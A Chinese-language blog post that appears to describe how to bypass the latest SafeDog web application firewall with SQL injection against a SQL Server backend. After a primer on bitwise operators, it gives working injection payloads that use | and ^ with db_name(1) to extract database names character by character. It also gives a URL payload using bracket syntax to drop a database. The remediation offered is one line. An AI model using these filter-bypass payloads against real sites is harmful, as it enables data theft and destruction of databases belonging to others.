利用逻辑特性bypass最新版安全狗SQL注入

关于&符号和|:


(1)按位与运算符(&)


按位与运算将两个运算分量的对应位按位遵照以下规则进行计算:


0 & 0 = 0, 0 & 1 = 0, 1 & 0 = 0, 1 & 1 = 1。


即同为 1 的位,结果为 1,否则结果为 0。


例如,设3的内部表示为


00000011


5的内部表示为


00000101


则3&5的结果为


00000001


按位与运算有两种典型用法,一是取一个位串信息的某几位,如以下代码截取x的最低7位:x & 0177。二是让某变量保留某几位,其余位置0,如以下代码让x只保留最低6位:x = x & 077。以上用法都先要设计好一个常数,该常数只有需要的位是1,不需要的位是0。用它与指定的位串信息按位与。


(2)按位或运算符(|)


按位或运算将两个运算分量的对应位按位遵照以下规则进行计算:


0 | 0 = 0, 0 | 1 = 1, 1 | 0 = 1, 1 | 1 = 1


即只要有1个是1的位,结果为1,否则为0。


例如,023 | 035 结果为037。


按位或运算的典型用法是将一个位串信息的某几位置成1。如将要获得最右4为1,其他位与变量j的其他位相同,可用逻辑或运算017|j。若要把这结果赋给变量j,可写成:


j = 017|j


(3)按位异或运算符(^)


按位异或运算将两个运算分量的对应位按位遵照以下规则进行计算:


0 ^ 0 = 0, 0 ^ 1 = 1, 1 ^ 0 = 1, 1 ^ 1 = 0


即相应位的值相同的,结果为 0,不相同的结果为 1。


例如,013^035结果为026。


异或运算的意思是求两个运算分量相应位值是否相异,相异的为1,相同的为0。按位异或运算的典型用法是求一个位串信息的某几位信息的反。如欲求整型变量j的最右4位信息的反,用逻辑异或运算017^j,就能求得j最右4位的信息的反,即原来为1的位,结果是0,原来为0的位,结果是1。


当 select 0 | 100时,结果是:100(也就是右边的数字)


当 select 0 & 100时,结果是:0(始终是0)


当 select 0 ^ 100时,结果是:100(也就是右边的数字)


所以这个sql注入的类型只能是数字型


好了,背景交代完了,我们看看我在后端的sql语句:


select * from Myuser.dbo.AppUser where UserType=1


拼接的地方自然是UserType


最后的payload是:


【1】:| (select(ascii((substring((select db_name(1)) ,1,1)))))-108


【2】:^ (select(ascii((substring((select db_name(1)) ,1,1)))))-108


拼接到数据库的语句是:


select * from SSOServer.dbo.AppUser where UserType=1 | (select(ascii((substring((select db_name(1)) ,1,1)))))-108


select * from SSOServer.dbo.AppUser where UserType=1 ^ (select(ascii((substring((select db_name(1)) ,1,1)))))-108


因为安全狗会拦截db_name(),所以就在这个函数里面加入参数来绕过


就比如:db_name(1)


我们要如何查出数据呢?


就是:


(select(ascii((substring((select db_name(1)) ,1,1)))))-108


的结果是ascii的减去108的差值,反映到where语句上的时候就对应id的数据,于是就可以查出数据了


然后还有一点要注意的一点是:


在数据库中查出的db_name(0)是当前数据库名,db_name(1)是master


然后


对了,有人会问,得到数据库名字有什么危害啊?


自然是能删除了


好,第二个安全狗第二个没有过滤到的地方是:


中括号


我如果知道有个数据库叫:mytemp


我可以这样删掉它


http://localhost/test.aspx?type=1;drop database[mytemp]--


注意,数据库名可以用中括号包起来,这样:[数据库名]


先证明我这个是有安全狗,并且是最新的:


然后证明这样可以查出数据:


成功删除数据库:


解决方案:


过滤 |

Leave a Comment